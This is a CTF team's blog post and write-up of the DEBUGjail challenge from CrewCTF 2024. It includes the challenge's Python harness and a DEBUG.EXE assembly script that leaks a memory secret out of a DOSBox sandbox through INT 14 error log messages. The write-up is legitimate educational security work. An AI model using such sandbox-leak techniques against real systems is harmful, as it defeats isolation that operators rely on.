We are excited to share that DEFCON225 (DC225) has made a significant impact at this year’s 3rd Edition of Crew Capture the Flag (CTF) competition hosted by TheHackersCrew.
CrewCTF 2024 was an intense and highly competitive event, featuring some of the best cybersecurity minds from around the globe. Despite the fierce competition, DEFCON225 managed to place in the top 10%, a testament to our dedication, skill, and teamwork.
We want to extend our gratitude to all our team members for their hard work and commitment. This achievement not only showcases our capabilities but also sets a high bar for our future endeavors.
The DEBUGjail challenge was particularly demanding, garnering only 3 solves. Drawing first blood in such a challenge highlights our team’s ability to think outside the box and tackle complex problems under pressure.
Our DEBUGjail Challenge Write-up
In the spirit of fostering growth and learning within the cybersec community, we are pleased to share our write-up on how we solved the DEBUGjail challenge. By providing this detailed account, we hope to contribute to the collective knowledge base and support others in honing their skills. Read on to discover our approach that led to our success with this well crafted challenge by author Aali.
Jails can be so restrictive. This jail is different! You can do whatever you want! As long as what you want is to use a debugger from 1991.
The challenge provided the aforementioned description and the following Python code:
import sys
import os
import subprocess
import tempfile
import shutil
from secrets import FLAG
SECRET = os.urandom(16)
secret_script = "\r".join(["f 0000:02%02x 2%02x %02x" % (i,i,b) for (i,b) in enumerate(SECRET)]) + "\rQ\r"
tempdir = tempfile.TemporaryDirectory()
shutil.copy("DEBUG.EXE", tempdir.name) # DEBUG.EXE from MS-DOS 5.0, unmodified
open(tempdir.name + "/secret.dsf", "w").write(secret_script)
print("The secret is at address 0000:0200 in memory.")
print("There is no memory protection so just go ahead and read it ¯\_('_')_/¯")
print("Enter your DEBUG script, end with a line containing only 'Q':")
debug_script = ""
while True:
line = sys.stdin.readline().strip()
debug_script = debug_script + line + "\r" # DOSBox + DEBUG + linefeed = bad
if line == "Q":
break
open(tempdir.name + "/input.dsf", "w").write(debug_script)
cmds = [
"mount c: " + tempdir.name,
"config -securemode",
"c:",
"debug < secret.dsf",
"del secret.dsf",
"debug < input.dsf",
"exit",
]
args = ["dosbox"] + sum([["-c", cmd] for cmd in cmds], [])
subprocess.run(args, timeout = 10)
if input("What was the secret? ") == SECRET.hex():
print(f"That is correct! Here is your flag: {FLAG}")
else:
print("Sorry that's not correct, better luck next time!")
The script randomly generates a secret value 16 bytes in length, and then generates a secret_script
that is executed by DEBUG.EXE to store the secret at memory address 0000:0200 in a DOSBox environment.
SECRET = os.urandom(16)
secret_script = "\r".join(["f 0000:02%02x 2%02x %02x" % (i,i,b) for (i,b) in enumerate(SECRET)]) + "\rQ\r"
We’re then given the opportunity to provide our own DEBUG commands to extract the secret value from memory, followed by Q (quit). The following snippet of the script contains a list of DOS commands that are passed to DOSBox. secret.dsf
is run first (to load the secret into memory), followed by our script:
cmds = [
"mount c: " + tempdir.name,
"config -securemode",
"c:",
"debug < secret.dsf", # loads the secret into memory at address 0000:0200
"del secret.dsf", # delete the `secret_script` so the user cannot cheese it
"debug < input.dsf", # run the user supplied script
"exit",
]
args = ["dosbox"] + sum([["-c", cmd] for cmd in cmds], [])
subprocess.run(args, timeout = 10)
This should be pretty straightforward. We simply utilize the DEBUG.EXE dump command to read the secret right back…
Here we attempted to dump the memory at address 0000:0200
, then we used the assembler command of DEBUG to create an endless loop to help screen capture what’s happening here. DOSBox runs the DEBUG command, passing in the secret.dsf
script, then our input.dsf
script. In the screenshot, we see that the bytes from the secret.dsf
f (fill)
commands and our input.dsf
memory dump command are a match!
Excellent! We have solved the challenge… Or so we thought. Unfortunately in the live challenge, we are unable to see the DOSBox GUI/terminal.
Enter DOSBox source code
Because we can’t see the GUI, there could be a way to get DOSBox to exfil the secret to us over the CLI we can see. A grep of DOSBox source code for "SHELL:Redirect input"
found a match on line 226 of src/shell/shell.cpp
:
if(DOS_OpenFile(in,OPEN_READ,&dummy)) { //Test if file exists
...
LOG_MSG("SHELL:Redirect input from %s",in);
...
}
Thus the hunt began for a LOG_MSG()
call that we could use to pass data back to us. A promising bit of code was found on line 454 of src/ints/bios.cpp
:
static Bitu INT14_Handler(void) {
if (reg_ah > 0x3 || reg_dx > 0x3) { // 0-3 serial port functions
// and no more than 4 serial ports
LOG_MSG("BIOS INT14: Unhandled call AH=%2X DX=%4x",reg_ah,reg_dx);
return CBRET_NONE;
}
...
A web search for INT 14 led us to something to do with BIOS Asynchronous Communications Services
, and the INT14_Handler()
function appears to be involved in handling this interrupt.
Conveniently, we can avoid the handler’s intended functionality by loading values greater than 0x3 into either the AH or DX registers, and upon calling the interrupt, LOG_MSG()
will be called, printing the values stored in the aforementioned registers!
The exploit
The following DEBUG script assembles and then runs code to exfil the secret bytes.
For each byte of the secret, it loads the byte value into the DH register and then triggers INT 14
. Upon calling the interrupt, an error message containing the value is printed to the CLI that is executing DOSBox.
C:\>debug
-a 100
073F:0100 xor ax,ax # zero ax
073F:0102 mov ds,ax # load DS (Data Segment) register with 0000
073F:0104 mov ah,4 # load the value 4 to satisfy DOSBox `if` statement
073F:0106 mov si,0200 # load SI with the offset into the segment (thus 0000:0200)
073F:0109 xor dx,dx
073F:010B mov dl,ff # load the value FF into DL (for our own display purposes)
073F:010D mov dh,[si] # load the byte at 0000:02xx into DH
073F:010F int 14 # call the interrupt, triggering the "error message"
073F:0111 inc si
073F:0112 cmp si,0210
073F:0116 jne 010d # exfil the next byte or
073F:0118 mov ax,4c00
073F:011B int 21 # terminate with return code 0
073F:011D
-g
Wrap-up
Solving DEBUGjail was a refreshingly nostalgic experience for DEFCON225. It was invigorating to tackle a challenge that required truly out-of-the-box thinking and a deep dive into vintage computing techniques. The unique nature of this challenge, harking back to the days of DOS and DEBUG.EXE, provided a stimulating contrast to the more contemporary cybersecurity problems we usually encounter.
Big shout-outs to Aali for crafting such an innovative and challenging task. It was a brilliant reminder of the diverse range of skills and knowledge that cybersecurity encompasses. Additionally, we are grateful to TheHackersCrew for organizing and hosting CrewCTF 2024, making such enriching experiences possible.